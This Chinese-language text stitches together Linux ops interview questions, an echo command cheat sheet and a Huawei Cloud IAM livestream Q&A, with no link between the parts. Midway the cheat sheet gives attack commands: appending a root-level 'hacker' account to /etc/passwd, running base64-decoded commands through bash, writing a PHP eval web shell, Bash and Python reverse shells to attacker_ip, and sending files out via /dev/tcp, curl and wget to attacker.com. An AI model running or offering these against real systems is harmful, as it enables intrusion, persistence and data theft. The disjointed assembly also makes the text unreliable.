什么是“数据泄露”（Data Leakage）？它在LLM评测中为何严重？

你无法通过SSH登录一台远程服务器，但可以ping通。你本地执行 ssh -v user@192.168.1.100 后看到输出卡在 Connecting to 192.168.1.100 port 22 后超时。可能的原因有哪些？

kill -15 PID 和 kill -9 PID 有什么区别？如果一个进程对 -15 没有反应，你会怎么做？

你执行 df -h 发现 / 分区已用 95%，但执行 du -sh /* 统计各目录总大小却远小于 df 显示的使用量。可能是什么原因？（至少说出两种）

“我的服务器（IP已隐藏）在晚高峰时段频繁断流，监控显示入站流量达到X Gbps。目前机房只提供了10G的硬防。请问除了升级硬防，如何利用Nginx限流和云厂商的轻量抗D进行联动清洗？具体参数怎么设？”

CPU使用率飙到100%，你怀疑是某个Java进程导致的。请列出你排查这个问题的操作顺序（从简到精）。

有一个配置文件 config.ini 包含一行 MaxConnections=100，请用 sed 命令将其修改为 MaxConnections=200，并直接修改原文件（不输出到屏幕）。

top 命令中显示 load average: 2.5, 3.0, 2.8。这台机器是4核CPU，请问：当前系统是负载过重还是正常？load average 的三个数字分别代表什么时间段的平均值？

你以普通用户 appuser 执行 ./start.sh，报错 Permission denied。但 ls -l start.sh 显示 -rwxr-xr--，你是文件所有者。可能是什么原因？如何解决？

一台 2 核 2G 的 Linux 服务器，部署 Nginx 做反向代理，访问网站偶尔出现 502 Bad Gateway，请问最常见的 3 个可能原因是什么？

找出 /var/log 目录下所有7天前修改过且大小超过100M的 .log 文件，并一次性删除它们（请给出安全的命令）。

如何快速统计一个文件 log.txt 中有多少行？

简述什么是IP地址，IP地址在网络通信中的作用是什么？

Echo 常见选项基本选项# -n: 不输出结尾的换行符 echo -n "Hello" # 输出: Hello echo "Hello" # 输出: Hello\n # -e: 启用转义字符解释 echo -e "Hello\nWorld" # 输出: Hello # World # -E: 禁用转义字符解释（默认） echo -E "Hello\nWorld" # 输出: Hello\nWorld # 常用转义字符 echo -e "\a" # 响铃 echo -e "\b" # 退格 echo -e "\c" # 不换行 echo -e "\f" # 换页 echo -e "\n" # 换行 echo -e "\r" # 回车 echo -e "\t" # 水平制表符 echo -e "\v" # 垂直制表符 echo -e "\\" # 反斜杠 颜色输出# 文本颜色 echo -e "\033[31m红色文本\033[0m" # 红色 echo -e "\033[32m绿色文本\033[0m" # 绿色 echo -e "\033[33m黄色文本\033[0m" # 黄色 echo -e "\033[34m蓝色文本\033[0m" # 蓝色 echo -e "\033[35m紫色文本\033[0m" # 紫色 echo -e "\033[36m青色文本\033[0m" # 青色 # 背景颜色 echo -e "\033[41m红色背景\033[0m" # 红色背景 echo -e "\033[42m绿色背景\033[0m" # 绿色背景 echo -e "\033[43m黄色背景\033[0m" # 黄色背景 # 文本样式 echo -e "\033[1m粗体文本\033[0m" # 粗体 echo -e "\033[4m下划线文本\033[0m" # 下划线 echo -e "\033[5m闪烁文本\033[0m" # 闪烁 格式化输出# 使用变量 name="World" echo "Hello $name" # 输出: Hello World echo "Hello ${name}" # 输出: Hello World # 命令替换 echo "Current time: $(date)" echo "Current time: `date`" # 转义特殊字符 echo "This is a \$dollar sign" # 输出: This is a $dollar sign echo "This is a \"quote\"" # 输出: This is a "quote" 文件操作选项# 追加到文件 echo "new line" >> file.txt # 覆盖文件 echo "new content" > file.txt # 创建多行文件 echo -e "line1\nline2\nline3" > multiline.txt # 使用here文档 echo << EOF > file.txt line1 line2 line3 EOF Echo 显示字符串echo "Hello ICTRUN" Hello ICTRUN echo "$str" Good Evening Good Evening打开ipv4 ipforwardecho 1 > /proc/sys/net/ipv4/ip_forward添加root级别用户echo "hacker:$(openssl passwd -1 -salt 'salt' 'password'):0:0::/:/bin/bash" >> /etc/passwd修改root密码echo "root:newpassword" | chpasswd利用echo -e 无交互修改密码echo -e "newpassword\nnewpassword" | passwd username执行命令配合base64echo "whoami" | base64 echo "d2hvYW1pCg==" | base64 -d | bash 使用Base64写一个php一句话到1.phpecho "<?php eval(base64_decode('ZWNobyAiSGVsbG8gV29ybGQiOw==')); ?>" > 1.php反弹shell# Bash反弹shell echo "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" | bash # Python反弹shell echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"attacker_ip\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"]);'" | bash 文件操作# 创建文件 echo "content" > file.txt # 追加内容 echo "more content" >> file.txt # 清空文件 echo "" > file.txt环境变量操作# 设置环境变量 echo "export PATH=/new/path:$PATH" >> ~/.bashrc # 添加代理设置 echo "export http_proxy=http://proxy:port" >> ~/.bashrc系统配置修改# 修改系统限制 echo "* soft nofile 65535" >> /etc/security/limits.conf # 修改内核参数 echo "net.ipv4.tcp_syncookies = 1" >> /etc/sysctl.conf传文件发送文件# 方法1：使用nc export LFILE=/tmp/1.tar.gz bash -c 'echo -e "POST / HTTP/0.9\n\n$(<$LFILE)" > /dev/tcp/1.1.1.1/4422' # 方法2：使用base64 cat file.txt | base64 | echo "$(cat -)" > file.txt.b64接收文件# 方法1：使用nc nc -v -l -p 4422 > 1.tar.gz # 方法2：使用base64 cat file.txt.b64 | base64 -d > file.txt文件传输的其他方法# 使用curl上传文件 echo "curl -F 'file=@/path/to/file' http://attacker.com/upload" # 使用wget下载文件 echo "wget http://attacker.com/file -O /path/to/save" Download file using wgetecho “wget http://ict.run/file -O /path/to/save”

直播回顾：https://bbs.huaweicloud.com/live/dks_live/202507311630.html问题 1：如果员工离职了，除了从用户组移除，之前创建的 AK/SK 需要手动删除吗？会不会有安全风险？回答：需要手动删除。因为 AK/SK 是绑定用户的长期凭证，即使员工从用户组移除，若 AK/SK 未删除，仍可能通过 API 调用访问资源。建议在员工离职流程中添加 “删除 AK/SK” 步骤，同时在 IAM 策略中设置 AK/SK 的自动过期时间（如 90 天），双重保障安全。问题 2：演示中用策略禁止了高危端口对外开放，要是有紧急情况需要临时开放，比如外部调试，该怎么快速处理？回答：可以临时创建一条 “允许特定 IP 访问高危端口” 的策略，绑定到管理员用户组，调试完成后立即删除该策略。或者在原有禁止策略中添加例外条件（如允许公司出口 IP 临时访问），并设置时效（如 2 小时），到期后自动失效，避免长期暴露风险。